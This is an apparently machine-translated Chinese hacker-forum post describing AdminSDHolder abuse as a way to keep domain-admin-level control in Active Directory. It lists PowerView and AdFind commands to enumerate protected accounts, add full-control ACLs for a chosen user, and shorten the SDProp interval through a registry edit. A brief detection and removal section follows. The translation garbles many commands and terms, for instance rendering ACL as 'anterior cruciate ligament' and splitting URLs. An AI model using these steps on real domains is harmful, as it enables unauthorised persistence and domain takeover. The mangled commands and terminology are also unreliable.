跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

域名渗透率——AdminSDHolder


XenoG

推荐的帖子

0x00 前言

AdminSDHolder是一个特殊的AD容器,具有一些默认的安全权限,用作受保护的AD帐户和组的模板。

Active Directory将采用AdminSDHolder对象的ACL,并定期将其应用于所有受保护的AD帐户和组,以防止意外和无意的修改,并确保对这些对象的访问是安全的。

如果您可以修改AdminSDHolder对象的ACL,修改后的权限将自动应用于所有受保护的AD帐户和组,这可以用作在域环境中维护权限的方法。

本文将参考公开资料,结合自己的理解,介绍ACL的使用、填写和清除方法,并分析检测方法。

0x01 简介

本文将介绍以下内容:

利用理念

如何枚举受保护的AD帐户和组中的信息

如何查询AdminSDHolder对象的ACL

如何向AdminSDHolder对象添加ACL

删除AdminSDHolder中指定用户的ACL

完全利用法

测试建议

0x02 利用思路

1.枚举受保护的AD账户和组中的信息

通常,在域中具有高权限的用户包括my Server2008R2下的以下组:

管理员

打印操作员

备份操作员

复制器

域控制器

架构管理员

企业管理员

域管理员

服务器操作员

帐户操作员

只读域控制器

组织管理

Exchange可信子系统

2.向AdminSDHolder对象添加ACL

例如,如果将用户testa的完全管理权限添加到AdminSDHolder中,默认60分钟后会自动推送权限配置信息,testa将获得对所有受保护的帐户和组的完全管理权限。

3.获得对整个域的控制权限

此时,用户testa可以向域管理员组添加一个帐户,并且可以直接访问域控制器上的文件。

0x03 枚举受保护的AD账户和组中的信息

对于AdminSDHolder,可以参考以下信息:

https://docs . Microsoft . com/en-us/previous-versions/TechNet-magazine/ee 361593(v=msdn . 10)# id 0250006

受保护的AD帐户和组的特征如下:

AdminCount属性为1

但是,如果对象已经移出保护组,其AdminCount属性仍为1,也就是说,有可能获得以前是保护组的帐户和组。

1.枚举受保护AD账户的方法

(1)PowerView

下载地址:

https://github . com/powershell mafia/PowerSploit/blob/master/Recon/power view . PS1

该命令如下所示:

Get-NetUser -AdminCount

仅过滤出用户名的命令如下:

get-net user-AdminCount | select Sam account name

(2)Adfind

下载地址:

http://www.joeware.net/freetools/tools/adfind/index.htm

该命令如下所示:

Adfind.exe-f '(object category=person)(Sam account name=*)(admincount=1)'-dn

(3)ActiveDirectory模块

需要安装的Powershell模块,通常由域控制器安装。

该命令如下所示:

导入模块ActiveDirectory

get-ad object-LDAP filter "((admin count=1)(|(object category=person)(object category=group)))" |选择名称

对于未安装Active Directory模块的系统,您可以通过以下命令导入Active Directory模块:

导入模块。\微软。ActiveDirectory.Management.dll

微软。ActiveDirectory.Management.dll是在安装powershell模块Active Directory后生成的,我已经解压并上传到github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

注:

此命令列出受保护的AD帐户和组。

2.枚举受保护AD组的方法

(1)PowerView

该命令如下所示:

Get-NetGroup -AdminCount

(2)Adfind

该命令如下所示:

Adfind.exe-f '(对象类别=组)(管理计数=1)' -dn

(3)ActiveDirectory模块

需要安装的Powershell模块,通常由域控制器安装。

该命令如下所示:

导入模块ActiveDirectory

get-ad object-LDAP filter "((admin count=1)(|(object category=person)(object category=group)))" |选择名称

注:

此命令列出受保护的AD帐户和组。

0x04 操作AdminSDHolder对象的ACL

1.查询AdminSDHolder对象的ACL

在以下地址使用PowerView:

https://github . com/powershell mafia/PowerSploit/blob/master/Recon/power view . PS1

注:

该版本不支持Remove-DomainObjectAcl命令。

查询AdminSDHolder对象的ACL相当于查询“cn=adminsdholder,cn=system,DC=test,DC=com”的ACL

该命令如下所示:

导入模块。\PowerView.ps1

get-ObjectAcl-ads prefix ' CN=AdminSDHolder,CN=System ' | select identity reference

2.向AdminSDHolder对象添加ACL

在以下地址使用PowerView:

https://github。com/powershell mafia/powers loit/blob/master/Recon/power view。PS1

添加用户甲壳的完全访问权限,命令如下:

导入模块. PowerView.ps1

add-object ACL-TargetADSprefix ' CN=AdminSDHolder,CN=System '-PrincipalSamAccountName testa-Verbose-Rights All

默认等待60分钟以后,特斯塔获得对所有受保护的广告账户和组的完全访问权限

3.删除AdminSDHolder中指定用户的ACL

使用PowerView,地址如下:

https://github。com/powershell mafia/powers loit/blob/dev/Recon/power view。PS1

注:

该版本支持移除-域对象cl命令,但不支持参数TargetADSprefix,所以这里使用目标搜索库参数代替

搜索条件为' LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com '

删除用户甲壳的完全访问权限,命令如下:

remove-DomainObjectAcl-TargetSearchBase ' LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com '-principalidientity testa-Rights All-Verbose

0x05 完整利用思路

1.枚举受保护的AD账户和组中的信息

查找有价值的用户,需要确认该用户是否属于受保护的广告账户和组,排除曾经属于受保护的广告账户和组

2.向AdminSDHolder对象添加ACL

例如添加用户甲壳对管理员的完全访问权限

默认等待60分钟以后,特斯塔获得对所有受保护的广告账户和组的完全访问权限

可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下:

HKEY _ LOCAL _ MACHINE \ SYSTEM \ current control set \ Services \ NTDS \ Parameters,AdminSDProtectFrequency,REG_DWORD

例如修改成等待600秒的命令如下:

REG add hklm \ SYSTEM \ current control set \ Services \ NTDS \ Parameters/v AdminSDProtectFrequency/t REG _ DWORD/d 600

参考资料:

https://个博客。TechNet。微软。com/askds/2009/05/07/五个常见问题-关于-adminsdholder-and-sdprop/

注:

不建议降低默认间隔时间,因为在大型环境中可能会导致LSASS性能下降

3.获得对整个域的控制权限

(1)用户testa能够向域管理员组添加帐户

验证权限的命令如下:

导入模块. PowerView.ps1

get-object ACL-Sam帐户名' Domain Admins '-resolve guids |?{$_.身份引用-匹配“测试”}

(2)用户testa能够直接访问域控制器上的文件

0x06 检测和清除

1.检测AdminSDHolder的ACL

查看' CN=AdminSDHolder,CN=System,DC=test,DC=com '的ACL,命令如下:

导入模块. PowerView.ps1

get-ObjectAcl-ads前缀' CN=AdminSDHolder,CN=System ' |选择标识引用

注:

这里使用的PowerView版本:

https://github。com/powershell mafia/powers loit/blob/master/Recon/power view。PS1

查看是否有可疑用户

2.清除AdminSDHolder中可疑用户的ACL

删除管理员中可疑用户甲壳的前十字韧带

使用PowerView,地址如下:

https://github。com/powershell mafia/powers loit/blob/dev/Recon/power view。PS1

删除用户甲壳的完全访问权限,命令如下:

remove-DomainObjectAcl-TargetSearchBase ' LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com '-principalidientity testa-Rights All-Verbose

0x07 小结

本文介绍了管理员作为权限维持的利用方法,补充了检测和清除管理员中可疑用户前十字韧带的方法

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...